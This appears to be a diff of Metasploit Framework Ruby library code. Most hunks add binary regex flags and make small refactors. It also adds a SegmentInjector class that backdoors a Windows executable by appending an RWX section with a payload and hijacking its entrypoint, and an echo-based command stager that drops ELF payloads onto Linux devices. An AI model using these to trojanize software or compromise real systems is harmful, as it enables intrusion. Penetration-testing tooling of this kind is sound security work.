tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||||
installed_ver = get_nmap_ver()
|
installed_ver = get_nmap_ver()
|
||||||
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
||||||
return false if (vtag.nil? || vtag.empty?)
|
return false if (vtag.nil? || vtag.empty?)
|
||||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
|
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
|
||||||
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||||
return true if inum_arr[0] > tnum_arr[0]
|
return true if inum_arr[0] > tnum_arr[0]
|
||||||
return false if inum_arr[0] < tnum_arr[0]
|
return false if inum_arr[0] < tnum_arr[0]
|
||||||
inum_arr[1].to_i >= tnum_arr[1].to_i
|
inum_arr[1].to_i >= tnum_arr[1].to_i
|
||||||
|
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
# Check for commas outside of quoted arguments
|
# Check for commas outside of quoted arguments
|
||||||
quoted_22 = /\x22[^\x22]*\x22/
|
quoted_22 = /\x22[^\x22]*\x22/n
|
||||||
requoted_str = str.gsub(/'/,"\"")
|
requoted_str = str.gsub(/'/,"\"")
|
||||||
if requoted_str.split(quoted_22).join[/,/]
|
if requoted_str.split(quoted_22).join[/,/]
|
||||||
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
||||||
|
|
|
@ -358,7 +358,7 @@ class DBManager
|
||||||
opts.each { |k,v|
|
opts.each { |k,v|
|
||||||
if (host.attribute_names.include?(k.to_s))
|
if (host.attribute_names.include?(k.to_s))
|
||||||
unless host.attribute_locked?(k.to_s)
|
unless host.attribute_locked?(k.to_s)
|
||||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||||
|
@ -481,7 +481,7 @@ class DBManager
|
||||||
|
|
||||||
if (host.attribute_names.include?(k.to_s))
|
if (host.attribute_names.include?(k.to_s))
|
||||||
unless host.attribute_locked?(k.to_s)
|
unless host.attribute_locked?(k.to_s)
|
||||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
dlog("Unknown attribute for Host: #{k}")
|
dlog("Unknown attribute for Host: #{k}")
|
||||||
|
@ -1536,12 +1536,12 @@ class DBManager
|
||||||
if (token[0])
|
if (token[0])
|
||||||
# convert the token to US-ASCII from UTF-8 to prevent an error
|
# convert the token to US-ASCII from UTF-8 to prevent an error
|
||||||
token[0] = token[0].unpack("C*").pack("C*")
|
token[0] = token[0].unpack("C*").pack("C*")
|
||||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||||
end
|
end
|
||||||
|
|
||||||
if (token[1])
|
if (token[1])
|
||||||
token[1] = token[1].unpack("C*").pack("C*")
|
token[1] = token[1].unpack("C*").pack("C*")
|
||||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||||
end
|
end
|
||||||
|
|
||||||
ret = {}
|
ret = {}
|
||||||
|
@ -2853,7 +2853,7 @@ class DBManager
|
||||||
return REXML::Document.new(data)
|
return REXML::Document.new(data)
|
||||||
rescue REXML::ParseException => e
|
rescue REXML::ParseException => e
|
||||||
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
||||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -3055,7 +3055,7 @@ class DBManager
|
||||||
@import_filedata[:type] = "Appscan"
|
@import_filedata[:type] = "Appscan"
|
||||||
return :appscan_xml
|
return :appscan_xml
|
||||||
when "entities"
|
when "entities"
|
||||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
|
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
|
||||||
@import_filedata[:type] = "CI"
|
@import_filedata[:type] = "CI"
|
||||||
return :ci_xml
|
return :ci_xml
|
||||||
end
|
end
|
||||||
|
@ -3342,8 +3342,8 @@ class DBManager
|
||||||
def inspect_single_packet_http(pkt,wspace,task=nil)
|
def inspect_single_packet_http(pkt,wspace,task=nil)
|
||||||
# First, check the server side (data from port 80).
|
# First, check the server side (data from port 80).
|
||||||
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
|
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
|
||||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
|
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
|
||||||
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
||||||
report_service(
|
report_service(
|
||||||
:workspace => wspace,
|
:workspace => wspace,
|
||||||
|
@ -3363,8 +3363,8 @@ class DBManager
|
||||||
|
|
||||||
# Next, check the client side (data to port 80)
|
# Next, check the client side (data to port 80)
|
||||||
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
|
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
|
||||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
|
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
|
||||||
if auth_match.kind_of?(MatchData) and auth_match[1]
|
if auth_match.kind_of?(MatchData) and auth_match[1]
|
||||||
b64_cred = auth_match[1]
|
b64_cred = auth_match[1]
|
||||||
else
|
else
|
||||||
|
@ -3476,7 +3476,7 @@ class DBManager
|
||||||
data.each_line do |line|
|
data.each_line do |line|
|
||||||
case line
|
case line
|
||||||
when /^[\s]*#/ # Comment lines
|
when /^[\s]*#/ # Comment lines
|
||||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
|
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
|
||||||
addr = $1
|
addr = $1
|
||||||
port = $2
|
port = $2
|
||||||
proto = $4
|
proto = $4
|
||||||
|
@ -3492,7 +3492,7 @@ class DBManager
|
||||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
||||||
pass = ""
|
pass = ""
|
||||||
ptype = "smb_hash"
|
ptype = "smb_hash"
|
||||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
|
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
|
||||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
||||||
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
||||||
ptype = "password"
|
ptype = "password"
|
||||||
|
@ -3531,7 +3531,7 @@ class DBManager
|
||||||
|
|
||||||
# If hex notation is present, turn them into a character.
|
# If hex notation is present, turn them into a character.
|
||||||
def dehex(str)
|
def dehex(str)
|
||||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
|
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
|
||||||
hexen.each { |h|
|
hexen.each { |h|
|
||||||
str.gsub!(h,h[2,2].to_i(16).chr)
|
str.gsub!(h,h[2,2].to_i(16).chr)
|
||||||
}
|
}
|
||||||
|
@ -5039,7 +5039,7 @@ class DBManager
|
||||||
next if r[0] != 'results'
|
next if r[0] != 'results'
|
||||||
next if r[4] != "12053"
|
next if r[4] != "12053"
|
||||||
data = r[6]
|
data = r[6]
|
||||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
|
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
|
||||||
addr_map[hname] = addr
|
addr_map[hname] = addr
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -5160,7 +5160,7 @@ class DBManager
|
||||||
# HostName
|
# HostName
|
||||||
host.elements.each('ReportItem') do |item|
|
host.elements.each('ReportItem') do |item|
|
||||||
next unless item.elements['pluginID'].text == "12053"
|
next unless item.elements['pluginID'].text == "12053"
|
||||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
|
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
|
||||||
hname = host.elements['HostName'].text
|
hname = host.elements['HostName'].text
|
||||||
end
|
end
|
||||||
addr ||= host.elements['HostName'].text
|
addr ||= host.elements['HostName'].text
|
||||||
|
@ -5855,7 +5855,7 @@ class DBManager
|
||||||
|
|
||||||
data.each_line do |line|
|
data.each_line do |line|
|
||||||
next if line =~ /^#/
|
next if line =~ /^#/
|
||||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
|
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
|
||||||
addr = $1
|
addr = $1
|
||||||
next if bl.include? addr
|
next if bl.include? addr
|
||||||
port = $2.to_i
|
port = $2.to_i
|
||||||
|
|
|
@ -20,7 +20,7 @@ class Export
|
||||||
end
|
end
|
||||||
|
|
||||||
def myusername
|
def myusername
|
||||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
|
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
|
||||||
end
|
end
|
||||||
|
|
||||||
# Hosts are always allowed. This is really just a stub.
|
# Hosts are always allowed. This is really just a stub.
|
||||||
|
@ -115,7 +115,7 @@ class Export
|
||||||
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
||||||
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
||||||
if pass != "<BLANK>"
|
if pass != "<BLANK>"
|
||||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
|
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
|
||||||
end
|
end
|
||||||
if pass == "<BLANK>"
|
if pass == "<BLANK>"
|
||||||
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
||||||
|
@ -206,7 +206,7 @@ class Export
|
||||||
|
|
||||||
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
||||||
report_file.write %Q|<MetasploitV4>\n|
|
report_file.write %Q|<MetasploitV4>\n|
|
||||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
|
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
|
||||||
|
|
||||||
yield(:status, "start", "hosts") if block_given?
|
yield(:status, "start", "hosts") if block_given?
|
||||||
report_file.write %Q|<hosts>\n|
|
report_file.write %Q|<hosts>\n|
|
||||||
|
@ -352,7 +352,7 @@ class Export
|
||||||
if value
|
if value
|
||||||
data = marshalize(value)
|
data = marshalize(value)
|
||||||
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
||||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||||
el << REXML::Text.new(data)
|
el << REXML::Text.new(data)
|
||||||
end
|
end
|
||||||
return el
|
return el
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
module Msf
|
||||||
|
module Exe
|
||||||
|
|
||||||
|
require 'metasm'
|
||||||
|
|
||||||
|
class SegmentInjector
|
||||||
|
|
||||||
|
attr_accessor :payload
|
||||||
|
attr_accessor :template
|
||||||
|
attr_accessor :arch
|
||||||
|
attr_accessor :buffer_register
|
||||||
|
|
||||||
|
def initialize(opts = {})
|
||||||
|
@payload = opts[:payload]
|
||||||
|
@template = opts[:template]
|
||||||
|
@arch = opts[:arch] || :x86
|
||||||
|
@buffer_register = opts[:buffer_register] || 'edx'
|
||||||
|
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
|
||||||
|
raise ArgumentError, ":buffer_register is not a real register"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def processor
|
||||||
|
case @arch
|
||||||
|
when :x86
|
||||||
|
return Metasm::Ia32.new
|
||||||
|
when :x64
|
||||||
|
return Metasm::X86_64.new
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_thread_stub
|
||||||
|
<<-EOS
|
||||||
|
hook_entrypoint:
|
||||||
|
pushad
|
||||||
|
push hook_libname
|
||||||
|
call [iat_LoadLibraryA]
|
||||||
|
push hook_funcname
|
||||||
|
push eax
|
||||||
|
call [iat_GetProcAddress]
|
||||||
|
mov eax, [iat_CreateThread]
|
||||||
|
lea edx, [thread_hook]
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push edx
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
call eax
|
||||||
|
|
||||||
|
popad
|
||||||
|
jmp entrypoint
|
||||||
|
|
||||||
|
hook_libname db 'kernel32', 0
|
||||||
|
hook_funcname db 'CreateThread', 0
|
||||||
|
|
||||||
|
thread_hook:
|
||||||
|
lea #{buffer_register}, [thread_hook]
|
||||||
|
add #{buffer_register}, 9
|
||||||
|
EOS
|
||||||
|
end
|
||||||
|
|
||||||
|
def payload_as_asm
|
||||||
|
asm = ''
|
||||||
|
@payload.each_byte do |byte|
|
||||||
|
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||||
|
end
|
||||||
|
return asm
|
||||||
|
end
|
||||||
|
|
||||||
|
def payload_stub
|
||||||
|
asm = create_thread_stub
|
||||||
|
asm << payload_as_asm
|
||||||
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
|
shellcode.encoded
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_pe
|
||||||
|
# Copy our Template into a new PE
|
||||||
|
pe_orig = Metasm::PE.decode_file(template)
|
||||||
|
pe = pe_orig.mini_copy
|
||||||
|
|
||||||
|
# Copy the headers and exports
|
||||||
|
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||||
|
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||||
|
pe.header.time = pe_orig.header.time
|
||||||
|
|
||||||
|
# Generate a new code section set to RWX with our payload in it
|
||||||
|
s = Metasm::PE::Section.new
|
||||||
|
s.name = '.text'
|
||||||
|
s.encoded = payload_stub
|
||||||
|
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||||
|
|
||||||
|
# Tell our section where the original entrypoint was
|
||||||
|
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||||
|
pe.sections << s
|
||||||
|
pe.invalidate_header
|
||||||
|
|
||||||
|
# Change the entrypoint to our new section
|
||||||
|
pe.optheader.entrypoint = 'hook_entrypoint'
|
||||||
|
pe.cpu = pe_orig.cpu
|
||||||
|
|
||||||
|
pe.encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
|
||||||
end
|
end
|
||||||
|
|
||||||
# Store the version information
|
# Store the version information
|
||||||
mver = resp.match(/IVERSION\x00([^\x00]+)/)
|
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
|
||||||
info['Version'] = mver[1] if mver
|
info['Version'] = mver[1] if mver
|
||||||
|
|
||||||
# Store the hostname information
|
# Store the hostname information
|
||||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
|
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
|
||||||
info['Hostname'] = mver[1] if mver
|
info['Hostname'] = mver[1] if mver
|
||||||
|
|
||||||
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
||||||
|
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
|
||||||
|
|
||||||
# Finally, parse out and store all the parameters
|
# Finally, parse out and store all the parameters
|
||||||
resp.split("TPVALUE\x00").each { |x|
|
resp.split("TPVALUE\x00").each { |x|
|
||||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
|
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
|
||||||
if (minf)
|
if (minf)
|
||||||
info[ minf[2] ] = minf[1]
|
info[ minf[2] ] = minf[1]
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,34 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/exploit/cmdstager'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
####
|
||||||
|
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
|
||||||
|
#
|
||||||
|
# This stager uses the echo's "-e" flag, that enable interpretation of
|
||||||
|
# backslash escapes, to drop an ELF with the payload embedded to disk.
|
||||||
|
# The "-e" flag is usually available on linux environments. This stager
|
||||||
|
# has been found useful on restricted linux based embedded devices, and
|
||||||
|
# should work on either:
|
||||||
|
# * Systems with busy box's echo binary somewhere in $PATH.
|
||||||
|
# * Systems with bash/zsh whose echo builtin supports -en flags.
|
||||||
|
# * Systems with GNU coreutils echo which supports -en flags.
|
||||||
|
#
|
||||||
|
####
|
||||||
|
|
||||||
|
module Exploit::CmdStagerEcho
|
||||||
|
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
# Initializes a CmdStagerEcho instance for the supplied payload
|
||||||
|
#
|
||||||
|
# @param exe [String] The payload embedded into an ELF
|
||||||
|
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
|
||||||
|
def create_stager(exe)
|
||||||
|
Rex::Exploitation::CmdStagerEcho.new(exe)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
||||||
# @return [void]
|
# @return [void]
|
||||||
#
|
#
|
||||||
def on_new_session(session)
|
def on_new_session(session)
|
||||||
|
super
|
||||||
|
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if not @dropped_files or @dropped_files.empty?
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
@dropped_files.delete_if do |file|
|
@dropped_files.delete_if do |file|
|
||||||
win_file = file.gsub("/", "\\\\")
|
win_file = file.gsub("/", "\\\\")
|
||||||
if session.type == "meterpreter"
|
if session.type == "meterpreter"
|
||||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
super
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient
|
||||||
end
|
end
|
||||||
|
|
||||||
if datastore['RPORT'].to_i == 3790
|
if datastore['RPORT'].to_i == 3790
|
||||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
|
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
|
||||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
|
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
|
||||||
extras << "Metasploit"
|
extras << "Metasploit"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,9 +1,5 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
require 'msf/core/post_mixin'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
class Exploit
|
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
|
@ -13,16 +9,14 @@ class Exploit
|
||||||
# network communication.
|
# network communication.
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
class Local < Exploit
|
class Msf::Exploit::Local < Msf::Exploit
|
||||||
include PostMixin
|
require 'msf/core/post_mixin'
|
||||||
|
include Msf::PostMixin
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the fact that this exploit is a local exploit.
|
# Returns the fact that this exploit is a local exploit.
|
||||||
#
|
#
|
||||||
def exploit_type
|
def exploit_type
|
||||||
Exploit::Type::Local
|
Msf::Exploit::Type::Local
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write'
|
||||||
require 'msf/core/exploit/cmdstager_debug_asm'
|
require 'msf/core/exploit/cmdstager_debug_asm'
|
||||||
require 'msf/core/exploit/cmdstager_tftp'
|
require 'msf/core/exploit/cmdstager_tftp'
|
||||||
require 'msf/core/exploit/cmdstager_bourne'
|
require 'msf/core/exploit/cmdstager_bourne'
|
||||||
|
require 'msf/core/exploit/cmdstager_echo'
|
||||||
|
|
||||||
# Protocol
|
# Protocol
|
||||||
require 'msf/core/exploit/tcp'
|
require 'msf/core/exploit/tcp'
|
||||||
|
|
|
@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL
|
||||||
if(info[:rows] and not info[:rows].empty?)
|
if(info[:rows] and not info[:rows].empty?)
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Header' => "",
|
'Header' => "",
|
||||||
'Columns' => info[:colnames]
|
'Columns' => info[:colnames],
|
||||||
|
'SortIndex' => -1
|
||||||
)
|
)
|
||||||
|
|
||||||
info[:rows].each do |row|
|
info[:rows].each do |row|
|
||||||
|
|
|
@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
|
||||||
end
|
end
|
||||||
|
|
||||||
if plugin_res.respond_to? :split
|
if plugin_res.respond_to? :split
|
||||||
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
|
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||||
elsif base_res.respond_to? :split
|
elsif base_res.respond_to? :split
|
||||||
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
|
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
|
||||||
else
|
else
|
||||||
print_error "Cannot determine the plugin directory."
|
print_error "Cannot determine the plugin directory."
|
||||||
return false
|
return false
|
||||||
|
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
|
||||||
print_status "Checking for temp directory..."
|
print_status "Checking for temp directory..."
|
||||||
res = mysql_get_variable("@@tmpdir")
|
res = mysql_get_variable("@@tmpdir")
|
||||||
if res.respond_to? :split
|
if res.respond_to? :split
|
||||||
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
|
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||||
else
|
else
|
||||||
print_error "Cannot determine the temp directory, exiting."
|
print_error "Cannot determine the temp directory, exiting."
|
||||||
return false
|
return false
|
||||||
|
|
|
@ -11,8 +11,6 @@ module Msf
|
||||||
#
|
#
|
||||||
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
||||||
#
|
#
|
||||||
# Version: $Revision$
|
|
||||||
#
|
|
||||||
###
|
###
|
||||||
module Exploit::Omelet
|
module Exploit::Omelet
|
||||||
|
|
||||||
|
|
|
@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
|
||||||
# Send negotiate request
|
# Send negotiate request
|
||||||
sock.put(pkt2)
|
sock.put(pkt2)
|
||||||
res = sock.get_once(-1, 5)
|
res = sock.get_once(-1, 5)
|
||||||
if res.to_s =~ /^\xff/
|
if res.to_s =~ /^\xff/n
|
||||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||||
return :closed
|
return :closed
|
||||||
end
|
end
|
||||||
|
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
|
||||||
sock.put(pkt3)
|
sock.put(pkt3)
|
||||||
res = sock.get_once(-1, 5)
|
res = sock.get_once(-1, 5)
|
||||||
|
|
||||||
if res.to_s =~ /^\xff/
|
if res.to_s =~ /^\xff/n
|
||||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||||
return :closed
|
return :closed
|
||||||
end
|
end
|
||||||
|
|
|
@ -645,7 +645,7 @@ module Exploit::Remote::SMB
|
||||||
buff << " FP: #{line}\n"
|
buff << " FP: #{line}\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
prov.split(/\x00\x00+/).each do |line|
|
prov.split(/\x00\x00+/n).each do |line|
|
||||||
line.gsub!("\x00",'')
|
line.gsub!("\x00",'')
|
||||||
line.strip!
|
line.strip!
|
||||||
next if line.length < 6
|
next if line.length < 6
|
||||||
|
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
|
||||||
if (pkt_nbs.v['Type'] == 0x81)
|
if (pkt_nbs.v['Type'] == 0x81)
|
||||||
# Accept any name they happen to send
|
# Accept any name they happen to send
|
||||||
|
|
||||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
|
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
|
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||||
|
|
||||||
smb[:nbdst] = host_dst
|
smb[:nbdst] = host_dst
|
||||||
smb[:nbsrc] = host_src
|
smb[:nbsrc] = host_src
|
||||||
|
|
|
@ -104,6 +104,7 @@ class Module
|
||||||
require 'msf/core/module/target'
|
require 'msf/core/module/target'
|
||||||
require 'msf/core/module/auxiliary_action'
|
require 'msf/core/module/auxiliary_action'
|
||||||
require 'msf/core/module/has_actions'
|
require 'msf/core/module/has_actions'
|
||||||
|
require 'msf/core/module/deprecated'
|
||||||
|
|
||||||
#
|
#
|
||||||
# Creates an instance of an abstract module using the supplied information
|
# Creates an instance of an abstract module using the supplied information
|
||||||
|
|
|
